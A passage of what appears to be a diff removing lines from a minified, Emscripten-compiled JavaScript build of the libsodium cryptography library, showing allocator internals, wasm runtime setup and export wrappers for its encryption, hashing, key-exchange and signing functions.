16 >> 2]); ) - ; - a4[o5 >> 2] = 0; - break n; - } - a4[i4 + 4 >> 2] = -2 & e6, a4[n9 + 4 >> 2] = 1 | t7, a4[t7 + n9 >> 2] = t7; - break e; - } - e6 = 0; - } - if (s5) { - r11 = a4[i4 + 28 >> 2]; - n: { - if (a4[(A8 = 36328 + (r11 << 2) | 0) >> 2] == (0 | i4)) { - if (a4[A8 >> 2] = e6, e6) - break n; - c5 = 36028, g5 = a4[9007] & Gt2(-2, r11), a4[c5 >> 2] = g5; - break r; - } - if (a4[s5 + (a4[s5 + 16 >> 2] == (0 | i4) ? 16 : 20) >> 2] = e6, !e6) - break r; - } - a4[e6 + 24 >> 2] = s5, (r11 = a4[i4 + 16 >> 2]) && (a4[e6 + 16 >> 2] = r11, a4[r11 + 24 >> 2] = e6), (r11 = a4[i4 + 20 >> 2]) && (a4[e6 + 20 >> 2] = r11, a4[r11 + 24 >> 2] = e6); - } - } - if (a4[n9 + 4 >> 2] = 1 | t7, a4[t7 + n9 >> 2] = t7, a4[9011] == (0 | n9)) - return void (a4[9008] = t7); - } - if (t7 >>> 0 <= 255) - return e6 = 36064 + (-8 & t7) | 0, (r11 = a4[9006]) & (t7 = 1 << (t7 >>> 3)) ? t7 = a4[e6 + 8 >> 2] : (a4[9006] = t7 | r11, t7 = e6), a4[e6 + 8 >> 2] = n9, a4[t7 + 12 >> 2] = n9, a4[n9 + 12 >> 2] = e6, void (a4[n9 + 8 >> 2] = t7); - r11 = 31, t7 >>> 0 <= 16777215 && (r11 = 62 + ((t7 >>> 38 - (e6 = u4(t7 >>> 8 | 0)) & 1) - (e6 << 1) | 0) | 0), a4[n9 + 28 >> 2] = r11, a4[n9 + 16 >> 2] = 0, a4[n9 + 20 >> 2] = 0, e6 = 36328 + (r11 << 2) | 0; - e: { - r: { - if ((A8 = a4[9007]) & (o5 = 1 << r11)) { - for (r11 = t7 << (31 != (0 | r11) ? 25 - (r11 >>> 1 | 0) : 0), e6 = a4[e6 >> 2]; ; ) { - if (A8 = e6, (-8 & a4[e6 + 4 >> 2]) == (0 | t7)) - break r; - if (o5 = r11 >>> 29 | 0, r11 <<= 1, !(e6 = a4[16 + (o5 = e6 + (4 & o5) | 0) >> 2])) - break; - } - a4[o5 + 16 >> 2] = n9, a4[n9 + 24 >> 2] = A8; - } else - a4[9007] = A8 | o5, a4[e6 >> 2] = n9, a4[n9 + 24 >> 2] = e6; - a4[n9 + 12 >> 2] = n9, a4[n9 + 8 >> 2] = n9; - break e; - } - t7 = a4[A8 + 8 >> 2], a4[t7 + 12 >> 2] = n9, a4[A8 + 8 >> 2] = n9, a4[n9 + 24 >> 2] = 0, a4[n9 + 12 >> 2] = A8, a4[n9 + 8 >> 2] = t7; - } - t7 = a4[9014] - 1 | 0, a4[9014] = t7 || -1; - } - } - }, tc: Ie2 }; - }(t5); - }(e4); - }, instantiate: function(t4, e4) { - return { then: function(r9) { - var n7 = new I3.Module(t4); - r9({ instance: new I3.Instance(n7, e4) }); - } }; - }, RuntimeError: Error }; - f3 = [], "object" != typeof I3 && x3("no native wasm support detected"); - var y3, C3, m3, B3, E3, w3, v3, _3 = false; - function Q3() { - var t4 = d3.buffer; - o3.HEAP8 = y3 = new Int8Array(t4), o3.HEAP16 = m3 = new Int16Array(t4), o3.HEAPU8 = C3 = new Uint8Array(t4), o3.HEAPU16 = new Uint16Array(t4), o3.HEAP32 = B3 = new Int32Array(t4), o3.HEAPU32 = E3 = new Uint32Array(t4), o3.HEAPF32 = w3 = new Float32Array(t4), o3.HEAPF64 = v3 = new Float64Array(t4); - } - var b3 = o3.INITIAL_MEMORY || 16777216; - b3 >= 65536 || x3("INITIAL_MEMORY should be larger than STACK_SIZE, was " + b3 + "! (STACK_SIZE=65536)"), d3 = o3.wasmMemory ? o3.wasmMemory : new I3.Memory({ initial: b3 / 65536, maximum: 32768 }), Q3(), b3 = d3.buffer.byteLength; - var k3 = [], D3 = [], S3 = [], N4 = 0, M3 = null; - function x3(t4) { - throw o3.onAbort && o3.onAbort(t4), p3(t4 = "Aborted(" + t4 + ")"), _3 = true, t4 += ". Build with -sASSERTIONS for more info.", new I3.RuntimeError(t4); - } - var F3, P3, R3 = "data:application/octet-stream;base64,"; - function U3(t4) { - return t4.startsWith(R3); - } - U3(F3 = "<<< WASM_BINARY_FILE >>>") || (P3 = F3, F3 = o3.locateFile ? o3.locateFile(P3, g3) : g3 + P3); - var G3, H3 = { 35256: () => o3.getRandomValue(), 35292: () => { - if (void 0 === o3.getRandomValue) - try { - var t4 = "object" == typeof window ? window : self, e4 = void 0 !== t4.crypto ? t4.crypto : t4.msCrypto, r9 = function() { - var t5 = new Uint32Array(1); - return e4.getRandomValues(t5), t5[0] >>> 0; - }; - r9(), o3.getRandomValue = r9; - } catch (t5) { - try { - var n7 = __require("crypto"), A7 = function() { - var t6 = n7.randomBytes(4); - return (t6[0] << 24 | t6[1] << 16 | t6[2] << 8 | t6[3]) >>> 0; - }; - A7(), o3.getRandomValue = A7; - } catch (t6) { - throw "No secure random number generator found"; - } - } - } }, L3 = (t4) => { - for (; t4.length > 0; ) - t4.shift()(o3); - }, O3 = "undefined" != typeof TextDecoder ? new TextDecoder("utf8") : void 0, Y3 = (t4, e4) => t4 ? ((t5, e5, r9) => { - for (var n7 = e5 + r9, A7 = e5; t5[A7] && !(A7 >= n7); ) - ++A7; - if (A7 - e5 > 16 && t5.buffer && O3) - return O3.decode(t5.subarray(e5, A7)); - for (var i3 = ""; e5 < A7; ) { - var o4 = t5[e5++]; - if (128 & o4) { - var s4 = 63 & t5[e5++]; - if (192 != (224 & o4)) { - var a4 = 63 & t5[e5++]; - if ((o4 = 224 == (240 & o4) ? (15 & o4) << 12 | s4 << 6 | a4 : (7 & o4) << 18 | s4 << 12 | a4 << 6 | 63 & t5[e5++]) < 65536) - i3 += String.fromCharCode(o4); - else { - var c4 = o4 - 65536; - i3 += String.fromCharCode(55296 | c4 >> 10, 56320 | 1023 & c4); - } - } else - i3 += String.fromCharCode((31 & o4) << 6 | s4); - } else - i3 += String.fromCharCode(o4); - } - return i3; - })(C3, t4, e4) : "", K3 = [], J3 = (t4) => { - var e4 = (t4 - d3.buffer.byteLength + 65535) / 65536; - try { - return d3.grow(e4), Q3(), 1; - } catch (t5) { - } - }, j3 = { c: (t4, e4, r9, n7) => { - x3(`Assertion failed: ${Y3(t4)}, at: ` + [e4 ? Y3(e4) : "unknown filename", r9, n7 ? Y3(n7) : "unknown function"]); - }, d: () => { - x3(""); - }, b: (t4, e4, r9) => ((t5, e5, r10) => { - var n7 = ((t6, e6) => { - var r11; - for (K3.length = 0; r11 = C3[t6++]; ) - e6 += 105 != r11 && e6 % 8 ? 4 : 0, K3.push(105 == r11 ? B3[e6 >> 2] : v3[e6 >> 3]), e6 += 105 == r11 ? 4 : 8; - return K3; - })(e5, r10); - return H3[t5].apply(null, n7); - })(t4, e4, r9), e: (t4) => { - var e4 = C3.length, r9 = 2147483648; - if ((t4 >>>= 0) > r9) - return false; - for (var n7, A7 = 1; A7 <= 4; A7 *= 2) { - var i3 = e4 * (1 + 0.2 / A7); - i3 = Math.min(i3, t4 + 100663296); - var o4 = Math.min(r9, (n7 = Math.max(t4, i3)) + (65536 - n7 % 65536) % 65536); - if (J3(o4)) - return true; - } - return false; - }, a: d3 }, z2 = function() { - var t4, e4, r9 = { a: j3 }; - function n7(t5, e5) { - var r10, n8 = t5.exports; - return (z2 = n8).tc, r10 = z2.f, D3.unshift(r10), function(t6) { - if (N4--, o3.monitorRunDependencies && o3.monitorRunDependencies(N4), 0 == N4 && M3) { - var e6 = M3; - M3 = null, e6(); - } - }(), n8; - } - if (N4++, o3.monitorRunDependencies && o3.monitorRunDependencies(N4), o3.instantiateWasm) - try { - return o3.instantiateWasm(r9, n7); - } catch (t5) { - return p3(`Module.instantiateWasm callback failed with error: ${t5}`), false; - } - return t4 = r9, e4 = function(t5) { - n7(t5.instance); - }, function(t5) { - return Promise.resolve().then(() => function(t6) { - if (t6 == F3 && f3) - return new Uint8Array(f3); - var e5 = function(t7) { - if (U3(t7)) - return function(t8) { - if (void 0 !== h3 && h3) { - var e6 = Buffer.from(t8, "base64"); - return new Uint8Array(e6.buffer, e6.byteOffset, e6.length); - } - try { - for (var r10 = atob(t8), n8 = new Uint8Array(r10.length), A7 = 0; A7 < r10.length; ++A7) - n8[A7] = r10.charCodeAt(A7); - return n8; - } catch (t9) { - throw new Error("Converting base64 string to bytes failed."); - } - }(t7.slice(37)); - }(t6); - if (e5) - return e5; - if (A6) - return A6(t6); - throw "both async and sync fetching of the wasm failed"; - }(t5)); - }(F3).then((e5) => I3.instantiate(e5, t4)).then((t5) => t5).then(e4, (t5) => { - p3(`failed to asynchronously prepare wasm: ${t5}`), x3(t5); - }), {}; - }(); - function q2() { - function t4() { - G3 || (G3 = true, o3.calledRun = true, _3 || (L3(D3), o3.onRuntimeInitialized && o3.onRuntimeInitialized(), function() { - if (o3.postRun) - for ("function" == typeof o3.postRun && (o3.postRun = [o3.postRun]); o3.postRun.length; ) - t5 = o3.postRun.shift(), S3.unshift(t5); - var t5; - L3(S3); - }())); - } - N4 > 0 || (function() { - if (o3.preRun) - for ("function" == typeof o3.preRun && (o3.preRun = [o3.preRun]); o3.preRun.length; ) - t5 = o3.preRun.shift(), k3.unshift(t5); - var t5; - L3(k3); - }(), N4 > 0 || (o3.setStatus ? (o3.setStatus("Running..."), setTimeout(function() { - setTimeout(function() { - o3.setStatus(""); - }, 1), t4(); - }, 1)) : t4())); - } - if (o3._crypto_aead_chacha20poly1305_encrypt_detached = (t4, e4, r9, n7, A7, i3, s4, a4, c4, h4, g4, u4) => (o3._crypto_aead_chacha20poly1305_encrypt_detached = z2.g)(t4, e4, r9, n7, A7, i3, s4, a4, c4, h4, g4, u4), o3._crypto_aead_chacha20poly1305_encrypt = (t4, e4, r9, n7, A7, i3, s4, a4, c4, h4, g4) => (o3._crypto_aead_chacha20poly1305_encrypt = z2.h)(t4, e4, r9, n7, A7, i3, s4, a4, c4, h4, g4), o3._crypto_aead_chacha20poly1305_ietf_encrypt_detached = (t4, e4, r9, n7, A7, i3, s4, a4, c4, h4, g4, u4) => (o3._crypto_aead_chacha20poly1305_ietf_encrypt_detached = z2.i)(t4, e4, r9, n7, A7, i3, s4, a4, c4, h4, g4, u4), o3._crypto_aead_chacha20poly1305_ietf_encrypt = (t4, e4, r9, n7, A7, i3, s4, a4, c4, h4, g4) => (o3._crypto_aead_chacha20poly1305_ietf_encrypt = z2.j)(t4, e4, r9, n7, A7, i3, s4, a4, c4, h4, g4), o3._crypto_aead_chacha20poly1305_decrypt_detached = (t4, e4, r9, n7, A7, i3, s4, a4, c4, h4, g4) => (o3._crypto_aead_chacha20poly1305_decrypt_detached = z2.k)(t4, e4, r9, n7, A7, i3, s4, a4, c4, h4, g4), o3._crypto_aead_chacha20poly1305_decrypt = (t4, e4, r9, n7, A7, i3, s4, a4, c4, h4, g4) => (o3._crypto_aead_chacha20poly1305_decrypt = z2.l)(t4, e4, r9, n7, A7, i3, s4, a4, c4, h4, g4), o3._crypto_aead_chacha20poly1305_ietf_decrypt_detached = (t4, e4, r9, n7, A7, i3, s4, a4, c4, h4, g4) => (o3._crypto_aead_chacha20poly1305_ietf_decrypt_detached = z2.m)(t4, e4, r9, n7, A7, i3, s4, a4, c4, h4, g4), o3._crypto_aead_chacha20poly1305_ietf_decrypt = (t4, e4, r9, n7, A7, i3, s4, a4, c4, h4, g4) => (o3._crypto_aead_chacha20poly1305_ietf_decrypt = z2.n)(t4, e4, r9, n7, A7, i3, s4, a4, c4, h4, g4), o3._crypto_aead_chacha20poly1305_ietf_keybytes = () => (o3._crypto_aead_chacha20poly1305_ietf_keybytes = z2.o)(), o3._crypto_aead_chacha20poly1305_ietf_npubbytes = () => (o3._crypto_aead_chacha20poly1305_ietf_npubbytes = z2.p)(), o3._crypto_aead_chacha20poly1305_ietf_nsecbytes = () => (o3._crypto_aead_chacha20poly1305_ietf_nsecbytes = z2.q)(), o3._crypto_aead_chacha20poly1305_ietf_abytes = () => (o3._crypto_aead_chacha20poly1305_ietf_abytes = z2.r)(), o3._crypto_aead_chacha20poly1305_ietf_messagebytes_max = () => (o3._crypto_aead_chacha20poly1305_ietf_messagebytes_max = z2.s)(), o3._crypto_aead_chacha20poly1305_ietf_keygen = (t4) => (o3._crypto_aead_chacha20poly1305_ietf_keygen = z2.t)(t4), o3._crypto_aead_chacha20poly1305_keybytes = () => (o3._crypto_aead_chacha20poly1305_keybytes = z2.u)(), o3._crypto_aead_chacha20poly1305_npubbytes = () => (o3._crypto_aead_chacha20poly1305_npubbytes = z2.v)(), o3._crypto_aead_chacha20poly1305_nsecbytes = () => (o3._crypto_aead_chacha20poly1305_nsecbytes = z2.w)(), o3._crypto_aead_chacha20poly1305_abytes = () => (o3._crypto_aead_chacha20poly1305_abytes = z2.x)(), o3._crypto_aead_chacha20poly1305_messagebytes_max = () => (o3._crypto_aead_chacha20poly1305_messagebytes_max = z2.y)(), o3._crypto_aead_chacha20poly1305_keygen = (t4) => (o3._crypto_aead_chacha20poly1305_keygen = z2.z)(t4), o3._crypto_aead_xchacha20poly1305_ietf_encrypt_detached = (t4, e4, r9, n7, A7, i3, s4, a4, c4, h4, g4, u4) => (o3._crypto_aead_xchacha20poly1305_ietf_encrypt_detached = z2.A)(t4, e4, r9, n7, A7, i3, s4, a4, c4, h4, g4, u4), o3._crypto_aead_xchacha20poly1305_ietf_encrypt = (t4, e4, r9, n7, A7, i3, s4, a4, c4, h4, g4) => (o3._crypto_aead_xchacha20poly1305_ietf_encrypt = z2.B)(t4, e4, r9, n7, A7, i3, s4, a4, c4, h4, g4), o3._crypto_aead_xchacha20poly1305_ietf_decrypt_detached = (t4, e4, r9, n7, A7, i3, s4, a4, c4, h4, g4) => (o3._crypto_aead_xchacha20poly1305_ietf_decrypt_detached = z2.C)(t4, e4, r9, n7, A7, i3, s4, a4, c4, h4, g4), o3._crypto_aead_xchacha20poly1305_ietf_decrypt = (t4, e4, r9, n7, A7, i3, s4, a4, c4, h4, g4) => (o3._crypto_aead_xchacha20poly1305_ietf_decrypt = z2.D)(t4, e4, r9, n7, A7, i3, s4, a4, c4, h4, g4), o3._crypto_aead_xchacha20poly1305_ietf_keybytes = () => (o3._crypto_aead_xchacha20poly1305_ietf_keybytes = z2.E)(), o3._crypto_aead_xchacha20poly1305_ietf_npubbytes = () => (o3._crypto_aead_xchacha20poly1305_ietf_npubbytes = z2.F)(), o3._crypto_aead_xchacha20poly1305_ietf_nsecbytes = () => (o3._crypto_aead_xchacha20poly1305_ietf_nsecbytes = z2.G)(), o3._crypto_aead_xchacha20poly1305_ietf_abytes = () => (o3._crypto_aead_xchacha20poly1305_ietf_abytes = z2.H)(), o3._crypto_aead_xchacha20poly1305_ietf_messagebytes_max = () => (o3._crypto_aead_xchacha20poly1305_ietf_messagebytes_max = z2.I)(), o3._crypto_aead_xchacha20poly1305_ietf_keygen = (t4) => (o3._crypto_aead_xchacha20poly1305_ietf_keygen = z2.J)(t4), o3._crypto_auth_bytes = () => (o3._crypto_auth_bytes = z2.K)(), o3._crypto_auth_keybytes = () => (o3._crypto_auth_keybytes = z2.L)(), o3._crypto_auth = (t4, e4, r9, n7, A7) => (o3._crypto_auth = z2.M)(t4, e4, r9, n7, A7), o3._crypto_auth_verify = (t4, e4, r9, n7, A7) => (o3._crypto_auth_verify = z2.N)(t4, e4, r9, n7, A7), o3._crypto_auth_keygen = (t4) => (o3._crypto_auth_keygen = z2.O)(t4), o3._crypto_box_seedbytes = () => (o3._crypto_box_seedbytes = z2.P)(), o3._crypto_box_publickeybytes = () => (o3._crypto_box_publickeybytes = z2.Q)(), o3._crypto_box_secretkeybytes = () => (o3._crypto_box_secretkeybytes = z2.R)(), o3._crypto_box_beforenmbytes = () => (o3._crypto_box_beforenmbytes = z2.S)(), o3._crypto_box_noncebytes = () => (o3._crypto_box_noncebytes = z2.T)(), o3._crypto_box_macbytes = () => (o3._crypto_box_macbytes = z2.U)(), o3._crypto_box_messagebytes_max = () => (o3._crypto_box_messagebytes_max = z2.V)(), o3._crypto_box_seed_keypair = (t4, e4, r9) => (o3._crypto_box_seed_keypair = z2.W)(t4, e4, r9), o3._crypto_box_keypair = (t4, e4) => (o3._crypto_box_keypair = z2.X)(t4, e4), o3._crypto_box_beforenm = (t4, e4, r9) => (o3._crypto_box_beforenm = z2.Y)(t4, e4, r9), o3._crypto_box_detached_afternm = (t4, e4, r9, n7, A7, i3, s4) => (o3._crypto_box_detached_afternm = z2.Z)(t4, e4, r9, n7, A7, i3, s4), o3._crypto_box_detached = (t4, e4, r9, n7, A7, i3, s4, a4) => (o3._crypto_box_detached = z2._)(t4, e4, r9, n7, A7, i3, s4, a4), o3._crypto_box_easy_afternm = (t4, e4, r9, n7, A7, i3) => (o3._crypto_box_easy_afternm = z2.$)(t4, e4, r9, n7, A7, i3), o3._crypto_box_easy = (t4, e4, r9, n7, A7, i3, s4) => (o3._crypto_box_easy = z2.aa)(t4, e4, r9, n7, A7, i3, s4), o3._crypto_box_open_detached_afternm = (t4, e4, r9, n7, A7, i3, s4) => (o3._crypto_box_open_detached_afternm = z2.ba)(t4, e4, r9, n7, A7, i3, s4), o3._crypto_box_open_detached = (t4, e4, r9, n7, A7, i3, s4, a4) => (o3._crypto_box_open_detached = z2.ca)(t4, e4, r9, n7, A7, i3, s4, a4), o3._crypto_box_open_easy_afternm = (t4, e4, r9, n7, A7, i3) => (o3._crypto_box_open_easy_afternm = z2.da)(t4, e4, r9, n7, A7, i3), o3._crypto_box_open_easy = (t4, e4, r9, n7, A7, i3, s4) => (o3._crypto_box_open_easy = z2.ea)(t4, e4, r9, n7, A7, i3, s4), o3._crypto_box_seal = (t4, e4, r9, n7, A7) => (o3._crypto_box_seal = z2.fa)(t4, e4, r9, n7, A7), o3._crypto_box_seal_open = (t4, e4, r9, n7, A7, i3) => (o3._crypto_box_seal_open = z2.ga)(t4, e4, r9, n7, A7, i3), o3._crypto_box_sealbytes = () => (o3._crypto_box_sealbytes = z2.ha)(), o3._crypto_generichash_bytes_min = () => (o3._crypto_generichash_bytes_min = z2.ia)(), o3._crypto_generichash_bytes_max = () => (o3._crypto_generichash_bytes_max = z2.ja)(), o3._crypto_generichash_bytes = () => (o3._crypto_generichash_bytes = z2.ka)(), o3._crypto_generichash_keybytes_min = () => (o3._crypto_generichash_keybytes_min = z2.la)(), o3._crypto_generichash_keybytes_max = () => (o3._crypto_generichash_keybytes_max = z2.ma)(), o3._crypto_generichash_keybytes = () => (o3._crypto_generichash_keybytes = z2.na)(), o3._crypto_generichash_statebytes = () => (o3._crypto_generichash_statebytes = z2.oa)(), o3._crypto_generichash = (t4, e4, r9, n7, A7, i3, s4) => (o3._crypto_generichash = z2.pa)(t4, e4, r9, n7, A7, i3, s4), o3._crypto_generichash_init = (t4, e4, r9, n7) => (o3._crypto_generichash_init = z2.qa)(t4, e4, r9, n7), o3._crypto_generichash_update = (t4, e4, r9, n7) => (o3._crypto_generichash_update = z2.ra)(t4, e4, r9, n7), o3._crypto_generichash_final = (t4, e4, r9) => (o3._crypto_generichash_final = z2.sa)(t4, e4, r9), o3._crypto_generichash_keygen = (t4) => (o3._crypto_generichash_keygen = z2.ta)(t4), o3._crypto_hash_bytes = () => (o3._crypto_hash_bytes = z2.ua)(), o3._crypto_hash = (t4, e4, r9, n7) => (o3._crypto_hash = z2.va)(t4, e4, r9, n7), o3._crypto_kdf_bytes_min = () => (o3._crypto_kdf_bytes_min = z2.wa)(), o3._crypto_kdf_bytes_max = () => (o3._crypto_kdf_bytes_max = z2.xa)(), o3._crypto_kdf_contextbytes = () => (o3._crypto_kdf_contextbytes = z2.ya)(), o3._crypto_kdf_keybytes = () => (o3._crypto_kdf_keybytes = z2.za)(), o3._crypto_kdf_derive_from_key = (t4, e4, r9, n7, A7, i3) => (o3._crypto_kdf_derive_from_key = z2.Aa)(t4, e4, r9, n7, A7, i3), o3._crypto_kdf_keygen = (t4) => (o3._crypto_kdf_keygen = z2.Ba)(t4), o3._crypto_kdf_hkdf_sha256_extract_init = (t4, e4, r9) => (o3._crypto_kdf_hkdf_sha256_extract_init = z2.Ca)(t4, e4, r9), o3._crypto_kdf_hkdf_sha256_extract_update = (t4, e4, r9) => (o3._crypto_kdf_hkdf_sha256_extract_update = z2.Da)(t4, e4, r9), o3._crypto_kdf_hkdf_sha256_extract_final = (t4, e4) => (o3._crypto_kdf_hkdf_sha256_extract_final = z2.Ea)(t4, e4), o3._crypto_kdf_hkdf_sha256_extract = (t4, e4, r9, n7, A7) => (o3._crypto_kdf_hkdf_sha256_extract = z2.Fa)(t4, e4, r9, n7, A7), o3._crypto_kdf_hkdf_sha256_keygen = (t4) => (o3._crypto_kdf_hkdf_sha256_keygen = z2.Ga)(t4), o3._crypto_kdf_hkdf_sha256_expand = (t4, e4, r9, n7, A7) => (o3._crypto_kdf_hkdf_sha256_expand = z2.Ha)(t4, e4, r9, n7, A7), o3._crypto_kdf_hkdf_sha256_keybytes = () => (o3._crypto_kdf_hkdf_sha256_keybytes = z2.Ia)(), o3._crypto_kdf_hkdf_sha256_bytes_min = () => (o3._crypto_kdf_hkdf_sha256_bytes_min = z2.Ja)(), o3._crypto_kdf_hkdf_sha256_bytes_max = () => (o3._crypto_kdf_hkdf_sha256_bytes_max = z2.Ka)(), o3._crypto_kdf_hkdf_sha256_statebytes = () => (o3._crypto_kdf_hkdf_sha256_statebytes = z2.La)(), o3._crypto_kdf_hkdf_sha512_extract_init = (t4, e4, r9) => (o3._crypto_kdf_hkdf_sha512_extract_init = z2.Ma)(t4, e4, r9), o3._crypto_kdf_hkdf_sha512_extract_update = (t4, e4, r9) => (o3._crypto_kdf_hkdf_sha512_extract_update = z2.Na)(t4, e4, r9), o3._crypto_kdf_hkdf_sha512_extract_final = (t4, e4) => (o3._crypto_kdf_hkdf_sha512_extract_final = z2.Oa)(t4, e4), o3._crypto_kdf_hkdf_sha512_extract = (t4, e4, r9, n7, A7) => (o3._crypto_kdf_hkdf_sha512_extract = z2.Pa)(t4, e4, r9, n7, A7), o3._crypto_kdf_hkdf_sha512_keygen = (t4) => (o3._crypto_kdf_hkdf_sha512_keygen = z2.Qa)(t4), o3._crypto_kdf_hkdf_sha512_expand = (t4, e4, r9, n7, A7) => (o3._crypto_kdf_hkdf_sha512_expand = z2.Ra)(t4, e4, r9, n7, A7), o3._crypto_kdf_hkdf_sha512_keybytes = () => (o3._crypto_kdf_hkdf_sha512_keybytes = z2.Sa)(), o3._crypto_kdf_hkdf_sha512_bytes_min = () => (o3._crypto_kdf_hkdf_sha512_bytes_min = z2.Ta)(), o3._crypto_kdf_hkdf_sha512_bytes_max = () => (o3._crypto_kdf_hkdf_sha512_bytes_max = z2.Ua)(), o3._crypto_kx_seed_keypair = (t4, e4, r9) => (o3._crypto_kx_seed_keypair = z2.Va)(t4, e4, r9), o3._crypto_kx_keypair = (t4, e4) => (o3._crypto_kx_keypair = z2.Wa)(t4, e4), o3._crypto_kx_client_session_keys = (t4, e4, r9, n7, A7) => (o3._crypto_kx_client_session_keys = z2.Xa)(t4, e4, r9, n7, A7), o3._crypto_kx_server_session_keys = (t4, e4, r9, n7, A7) => (o3._crypto_kx_server_session_keys = z2.Ya)(t4, e4, r9, n7, A7), o3._crypto_kx_publickeybytes = () => (o3._crypto_kx_publickeybytes = z2.Za)(), o3._crypto_kx_secretkeybytes = () => (o3._crypto_kx_secretkeybytes = z2._a)(), o3._crypto_kx_seedbytes = () => (o3._crypto_kx_seedbytes = z2.$a)(), o3._crypto_kx_sessionkeybytes = () => (o3._crypto_kx_sessionkeybytes = z2.ab)(), o3._crypto_scalarmult_base = (t4, e4) => (o3._crypto_scalarmult_base = z2.bb)(t4, e4), o3._crypto_scalarmult = (t4, e4, r9) => (o3._crypto_scalarmult = z2.cb)(t4, e4, r9), o3._crypto_scalarmult_bytes = () => (o3._crypto_scalarmult_bytes = z2.db)(), o3._crypto_scalarmult_scalarbytes = () => (o3._crypto_scalarmult_scalarbytes = z2.eb)(), o3._crypto_secretbox_keybytes = () => (o3._crypto_secretbox_keybytes = z2.fb)(), o3._crypto_secretbox_noncebytes = () => (o3._crypto_secretbox_noncebytes = z2.gb)(), o3._crypto_secretbox_macbytes = () => (o3._crypto_secretbox_macbytes = z2.hb)(), o3._crypto_secretbox_messagebytes_max = () => (o3._crypto_secretbox_messagebytes_max = z2.ib)(), o3._crypto_secretbox_keygen = (t4) => (o3._crypto_secretbox_keygen = z2.jb)(t4), o3._crypto_secretbox_detached = (t4, e4, r9, n7, A7, i3, s4) => (o3._crypto_secretbox_detached = z2.kb)(t4, e4, r9, n7, A7, i3, s4), o3._crypto_secretbox_easy = (t4, e4, r9, n7, A7, i3) => (o3._crypto_secretbox_easy = z2.lb)(t4, e4, r9, n7, A7, i3), o3._crypto_secretbox_open_detached = (t4, e4, r9, n7, A7, i3, s4) => (o3._crypto_secretbox_open_detached = z2.mb)(t4, e4, r9, n7, A7, i3, s4), o3._crypto_secretbox_open_easy = (t4, e4, r9, n7, A7, i3) => (o3._crypto_secretbox_open_easy = z2.nb)(t4, e4, r9, n7, A7, i3), o3._crypto_secretstream_xchacha20poly1305_keygen = (t4) => (o3._crypto_secretstream_xchacha20poly1305_keygen = z2.ob)(t4), o3._crypto_secretstream_xchacha20poly1305_init_push = (t4, e4, r9) => (o3._crypto_secretstream_xchacha20poly1305_init_push = z2.pb)(t4, e4, r9), o3._crypto_secretstream_xchacha20poly1305_init_pull = (t4, e4, r9) => (o3._crypto_secretstream_xchacha20poly1305_init_pull = z2.qb)(t4, e4, r9), o3._crypto_secretstream_xchacha20poly1305_rekey = (t4) => (o3._crypto_secretstream_xchacha20poly1305_rekey = z2.rb)(t4), o3._crypto_secretstream_xchacha20poly1305_push = (t4, e4, r9, n7, A7, i3, s4, a4, c4, h4) => (o3._crypto_secretstream_xchacha20poly1305_push = z2.sb)(t4, e4, r9, n7, A7, i3, s4, a4, c4, h4), o3._crypto_secretstream_xchacha20poly1305_pull = (t4, e4, r9, n7, A7, i3, s4, a4, c4, h4) => (o3._crypto_secretstream_xchacha20poly1305_pull = z2.tb)(t4, e4, r9, n7, A7, i3, s4, a4, c4, h4), o3._crypto_secretstream_xchacha20poly1305_statebytes = () => (o3._crypto_secretstream_xchacha20poly1305_statebytes = z2.ub)(), o3._crypto_secretstream_xchacha20poly1305_abytes = () => (o3._crypto_secretstream_xchacha20poly1305_abytes = z2.vb)(), o3._crypto_secretstream_xchacha20poly1305_headerbytes = () => (o3._crypto_secretstream_xchacha20poly1305_headerbytes = z2.wb)(), o3._crypto_secretstream_xchacha20poly1305_keybytes = () => (o3._crypto_secretstream_xchacha20poly1305_keybytes = z2.xb)(), o3._crypto_secretstream_xchacha20poly1305_messagebytes_max = () => (o3._crypto_secretstream_xchacha20poly1305_messagebytes_max = z2.yb)(), o3._crypto_secretstream_xchacha20poly1305_tag_message = () => (o3._crypto_secretstream_xchacha20poly1305_tag_message = z2.zb)(), o3._crypto_secretstream_xchacha20poly1305_tag_push = () => (o3._crypto_secretstream_xchacha20poly1305_tag_push = z2.Ab)(), o3._crypto_secretstream_xchacha20poly1305_tag_rekey = () => (o3._crypto_secretstream_xchacha20poly1305_tag_rekey = z2.Bb)(), o3._crypto_secretstream_xchacha20poly1305_tag_final = () => (o3._crypto_secretstream_xchacha20poly1305_tag_final = z2.Cb)(), o3._crypto_shorthash_bytes = () => (o3._crypto_shorthash_bytes = z2.Db)(), o3._crypto_shorthash_keybytes = () => (o3._crypto_shorthash_keybytes = z2.Eb)(), o3._crypto_shorthash = (t4, e4, r9, n7, A7) => (o3._crypto_shorthash = z2.Fb)(t4, e4, r9, n7, A7), o3._crypto_shorthash_keygen = (t4) => (o3._crypto_shorthash_keygen = z2.Gb)(t4), o3._crypto_sign_statebytes = () => (o3._crypto_sign_statebytes = z2.Hb)(), o3._crypto_sign_bytes = () => (o3._crypto_sign_bytes = z2.Ib)(), o3._crypto_sign_seedbytes = () => (o3._crypto_sign_seedbytes = z2.Jb)(), o3._crypto_sign_publickeybytes = () => (o3._crypto_sign_publickeybytes = z2.Kb)(), o3._crypto_sign_secretkeybytes = () => (o3._crypto_sign_secretkeybytes = z2.Lb)(), o3._crypto_sign_messagebytes_max = () => (o3._crypto_sign_messagebytes_max = z2.Mb)(), o3._crypto_sign_seed_keypair = (t4, e4, r9) => (o3._crypto_sign_seed_keypair = z2.Nb)(t4, e4, r9), o3._crypto_sign_keypair = (t4, e4) => (o3._crypto_sign_keypair = z2.Ob)(t4, e4), o3._crypto_sign = (t4, e4, r9, n7, A7, i3) => (o3._crypto_sign = z2.Pb)(t4, e4, r9, n7, A7, i3), o3._crypto_sign_open = (t4, e4, r9, n7, A7, i3) => (o3._crypto_sign_open = z2.Qb)(t4, e4, r9, n7, A7, i3), o3._crypto_sign_detached = (t4, e4, r9, n7, A7, i3) => (o3._crypto_sign_detached = z2.Rb)(t4, e4, r9, n7, A7, i3), o3._crypto_sign_verify_detached = (t4, e4, r9, n7, A7) => (o3._crypto_sign_verify_detached = z2.Sb)(t4, e4, r9, n7, A7), o3._crypto_sign_init = (t4) => (o3._crypto_sign_init = z2.Tb)(t4), o3._crypto_sign_update = (t4, e4, r9, n7) => (o3._crypto_sign_update = z2.Ub)(t4, e4, r9, n7), o3._crypto_sign_final_create = (t4, e4, r9, n7) => (o3._crypto_sign_final_create = z2.Vb)(t4, e4, r9, n7), o3._crypto_sign_final_verify = (t4, e4, r9) => (o3._crypto_sign_final_verify = z2.Wb)(t4, e4, r9), o3._crypto_sign_ed25519_pk_to_curve25519 = (t4, e4) => 